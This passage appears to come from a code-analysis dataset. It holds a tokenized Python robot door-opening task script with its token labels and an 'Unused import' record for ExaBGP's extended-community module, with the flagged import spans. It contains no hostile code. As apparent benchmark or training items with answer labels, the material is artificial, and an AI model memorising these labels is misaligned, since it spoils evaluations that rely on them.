")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "=_", "vis_", "._", "Frame", "Sync_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "stance", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Walk", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "left", "Doo", "r", "Jam", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "right", "Doo", "r", "Jam", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame", "Sync_", "=_", "vis_", "._", "Frame", "Sync_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame", "Sync_", "._", "add", "Frame_", "(_", "handle", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "find", "Doo", "r", "Handle", "Aff", "orda", "nce_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Gro", "und", "Frame_", "=_", "door", "Gro", "und", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Stan", "ce", "Frame_", "=_", "stance", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Walk", "Frame_", "=_", "door", "Walk", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Tasks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "some", " ", "helpers_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "folder_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "Task_", "(_", "task_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "parent_", "or_", "self_", "._", "folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "task", "Tree_", "._", "on", "Add", "Task_", "(_", "task_", ",_", "copy_", "=_", "False_", ",_", "parent_", "=_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Func_", "(_", "func_", ",_", "name_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Task_", "(_", "rt_", "._", "Call", "back", "Task_", "(_", "callback_", "=_", "func_", ",_", "name_", "=_", "name_", ")_", ",_", "parent_", "=_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Folder_", "(_", "name_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "folder_", "=_", "self_", "._", "task", "Tree_", "._", "add", "Group_", "(_", "name_", ",_", "parent_", "=_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "self_", "._", "door", "Demo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "task", "Tree_", "._", "remove", "All", "Tasks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "side_", "=_", "self_", "._", "params_", "._", "get", "Proper", "ty", "Enum", "Value_", "(_", "'", "Hand", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "tasks_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "prep_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Prep", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "left", " ", "hand", "'_", ",_", "side_", "=_", "'", "Le", "ft", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "right", " ", "hand", "'_", ",_", "side_", "=_", "'", "Rig", "ht", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Plan", "Post", "ure", "Goal", "(", "name", "='", "plan", " ", "walk", " ", "post", "ure", "',", " ", "post", "ure", "Group", "='", "General", "',", " ", "post", "ure", "Name", "='", "safe", " ", "nominal", "',", " ", "side", "='", "Default", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Check", "Plan", "Info", "(", "name", "='", "check", " ", "manip", " ", "plan", " ", "info", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Commi", "t", "Manipulat", "ion", "Plan", "(", "name", "='", "execute", " ", "manip", " ", "plan", "',", " ", "plan", "Name", "='", "safe", " ", "nominal", " ", "post", "ure", " ", "plan", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Wait", "For", "Manipulat", "ion", "Plan", "Execut", "ion", "(", "name", "='", "wait", " ", "for", " ", "manip", " ", "executi", "on", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fit_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Wait", "For", "Multi", "sense", "Li", "dar", "(", "name", "='", "wait", " ", "for", " ", "lida", "r", " ", "sweep", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "fit", " ", "door", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "fit", " ", "and", " ", "approve", " ", "door", " ", "aff", "orda", "nce", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Fin", "d", "Aff", "orda", "nce_", "(_", "name_", "=_", "'", "check", " ", "door", " ", "aff", "orda", "nce", "'_", ",_", "aff", "orda", "nce", "Name_", "=_", "'", "door", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Set", "Nec", "k", "Pitch_", "(_", "name_", "=_", "'", "set", " ", "neck", " ", "position", "'_", ",_", "angle_", "=_", "35_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "walk_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Walk", " ", "and", " ", "refi", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Request", "Foot", "step", "Plan_", "(_", "name_", "=_", "'", "plan", " ", "walk", " ", "to", " ", "door", "'_", ",_", "stance", "Frame", "Name_", "=_", "'", "door", " ", "stance", " ", "frame", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "foot", "step", "s", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "foot", "step", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Commi", "t", "Foot", "step", "Plan_", "(_", "name_", "=_", "'", "walk", " ", "to", " ", "door", "'_", ",_", "plan", "Name_", "=_", "'", "door", " ", "stance", " ", "frame", " ", "foot", "step", " ", "plan", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Walk", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "walking", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "refi", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Wait", "For", "Multi", "sense", "Li", "dar", "(", "name", "='", "wait", " ", "for", " ", "lida", "r", " ", "sweep", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "fit", " ", "door", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "fit", " ", "and", " ", "approve", " ", "door", " ", "handle", " ", "aff", "orda", "nce", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "finger", "s_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Open", "Hand_", "(_", "name_", "=_", "'", "open", " ", "hand", "'_", ",_", "side_", "=_", "side_", ",_", "mode_", "=_", "'", "Pin", "ch", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "add", "Mani", "p", "Task_", "(_", "name_", ",_", "plan", "Func_", ",_", "user", "Prompt_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "folder_", "=_", "add", "Folder_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Func_", "(_", "plan", "Func_", ",_", "name_", "=_", "'", "plan", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "user", "Prompt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Task_", "(_", "rt_", "._", "Check", "Plan", "Info_", "(_", "name_", "=_", "'", "check", " ", "manip", " ", "plan", " ", "info", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "manip", " ", "plan", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "manipulati", "on", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Func_", "(_", "d_", "._", "commit", "Mani", "p", "Plan_", ",_", "name_", "=_", "'", "execute", " ", "manip", " ", "plan", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Manipulat", "ion", "Plan", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "manip", " ", "executi", "on", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Rai", "se", " ", "arms", "'_", ",_", "d_", "._", "plan", "Pre", "Reach", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Rai", "se", " ", "push", "ing", " ", "hand", "'_", ",_", "d_", "._", "plan", "Doo", "r", "Tou", "ch_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "d_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Mani", "p", "Task_", "(_", "'", "Reach", "'_", ",_", "d_", "._", "plan", "Reach", "_", ",_", "user", "Prompt_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Func_", "(_", "self_", "._", "close", "Pin", "ch_", ",_", "name_", "=_", "'", "Pin", "ch", " ", "handle", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "gra", "sp", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "the", " ", "pin", "ch", " ", "gra", "sp", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Turn", "'_", ",_", "d_", "._", "plan", "Handle", "Turn", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "handle", " ", "turn", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "tha", "t", " ", "the", " ", "handle", " ", "has", " ", "turn", "ed", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Func_", "(_", "self_", "._", "door", "Demo", "_", "._", "set", "Cho", "p", "Parameter", "s", "To", "Defaults_", ",_", "name_", "=_", "'", "re", "-", "set", " ", "chop", " ", "parameter", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Func_", "(_", "self_", "._", "close", "Pin", "ch_", ",_", "name_", "=_", "'", "Clos", "e", " ", "hand", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Reach", "'_", ",_", "d_", "._", "plan", "Reach", "_", ",_", "user", "Prompt_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Cho", "p", "'_", ",_", "d_", "._", "plan", "Cho", "p_", ",_", "user", "Prompt_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Push", " ", "aja", "r", "'_", ",_", "d_", "._", "plan", "Handle", "Push", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "door", " ", "position", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "tha", "t", " ", "the", " ", "door", " ", "is", " ", "aja", "r", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Push", " ", "aja", "r", " ", "again", "'_", ",_", "d_", "._", "plan", "Handle", "Push", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "d_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Mani", "p", "Task_", "(_", "'", "Lif", "t", "'_", ",_", "d_", "._", "plan", "Handle", "Push", "Lif", "t_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "Open", " ", "hand", "'_", ",_", "side_", "=_", "side_", ",_", "mode_", "=_", "'", "Pin", "ch", "'_", ",_", "amount_", "=_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Push", " ", "open", "'_", ",_", "d_", "._", "plan", "Doo", "r", "Push", "Open_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "door", " ", "position", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "tha", "t", " ", "the", " ", "door", " ", "is", " ", "open", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "Clos", "e", " ", "hand", "'_", ",_", "side_", "=_", "side_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Tu", "ck", " ", "Arm", "s", "'_", ",_", "d_", "._", "plan", "Tu", "ck", "Arm", "s_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "Clos", "e", " ", "fis", "t", "'_", ",_", "side_", "=_", "side_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "walk_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Walk", " ", "through", " ", "door", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Request", "Foot", "step", "Plan", "(", "name", "='", "plan", " ", "walk", " ", "through", " ", "door", "',", " ", "stance", "Frame", "Name", "='", "door", " ", "walk", " ", "frame", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Func_", "(_", "d_", "._", "plan", "Foot", "step", "s", "Through", "Doo", "r", "Manu", "al_", ",_", "name_", "=_", "'", "plan", " ", "walk", " ", "through", " ", "door", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "foot", "step", "s", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "foot", "step", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Commi", "t", "Foot", "step", "Plan_", "(_", "name_", "=_", "'", "walk", " ", "to", " ", "door", "'_", ",_", "plan", "Name_", "=_", "'", "door", " ", "walk", " ", "frame", " ", "foot", "step", " ", "plan", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Walk", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "walking", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Prep", " ", "for", " ", "walking", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "left", " ", "hand", "'_", ",_", "side_", "=_", "'", "Le", "ft", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "right", " ", "hand", "'_", ",_", "side_", "=_", "'", "Rig", "ht", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Plan", "Post", "ure", "Goal", "_", "(_", "name_", "=_", "'", "plan", " ", "walk", " ", "post", "ure", "'_", ",_", "post", "ure", "Group_", "=_", "'", "General", "'_", ",_", "post", "ure", "Name_", "=_", "'", "safe", " ", "nominal", "'_", ",_", "side_", "=_", "'", "Default", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "manip", " ", "plan", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "manip", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Commi", "t", "Manipulat", "ion", "Plan_", "(_", "name_", "=_", "'", "execute", " ", "manip", " ", "plan", "'_", ",_", "plan", "Name_", "=_", "'", "safe", " ", "nominal", " ", "post", "ure", " ", "plan", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Manipulat", "ion", "Plan", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "manip", " ", "executi", "on", "'_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Exa-Networks/exabgp/lib/exabgp/bgp/message/update/attribute/community/extended/__init__.py
[ { "content": "# encoding: utf-8\n\"\"\"\ncommunity.py\n\nCreated by Thomas Mangin on 2009-11-05.\nCopyright (c) 2009-2015 Exa Networks. All rights reserved.\n\"\"\"\n\n# Every Extended Community should be imported from this file\n# as it makes sure that all the registering decorator are run\n\nfrom exabgp.bgp.message.update.attribute.community.extended.community import ExtendedCommunity\nfrom exabgp.bgp.message.update.attribute.community.extended.communities import ExtendedCommunities\n\nfrom exabgp.bgp.message.update.attribute.community.extended.encapsulation import Encapsulation\nfrom exabgp.bgp.message.update.attribute.community.extended.l2info import L2Info\nfrom exabgp.bgp.message.update.attribute.community.extended.origin import Origin\nfrom exabgp.bgp.message.update.attribute.community.extended.origin import OriginASNIP\nfrom exabgp.bgp.message.update.attribute.community.extended.origin import OriginIPASN\nfrom exabgp.bgp.message.update.attribute.community.extended.origin import OriginASN4Number\nfrom exabgp.bgp.message.update.attribute.community.extended.rt import RouteTarget\nfrom exabgp.bgp.message.update.attribute.community.extended.rt import RouteTargetASN2Number\nfrom exabgp.bgp.message.update.attribute.community.extended.rt import RouteTargetIPNumber\nfrom exabgp.bgp.message.update.attribute.community.extended.rt import RouteTargetASN4Number\nfrom exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficRate\nfrom exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficAction\nfrom exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficRedirect\nfrom exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficMark\nfrom exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficNextHop\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from exabgp.bgp.message.update.attribute.community.extended.community import ExtendedCommunity", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 94 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.communities import ExtendedCommunities", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 98 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.encapsulation import Encapsulation", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 94 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.l2info import L2Info", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 80 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.origin import Origin", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 80 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.origin import OriginASNIP", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 85 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.origin import OriginIPASN", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 85 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.origin import OriginASN4Number", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 90 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.rt import RouteTarget", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 81 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.rt import RouteTargetASN2Number", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 91 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.rt import RouteTargetIPNumber", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 89 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.rt import RouteTargetASN4Number", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 91 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficRate", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 86 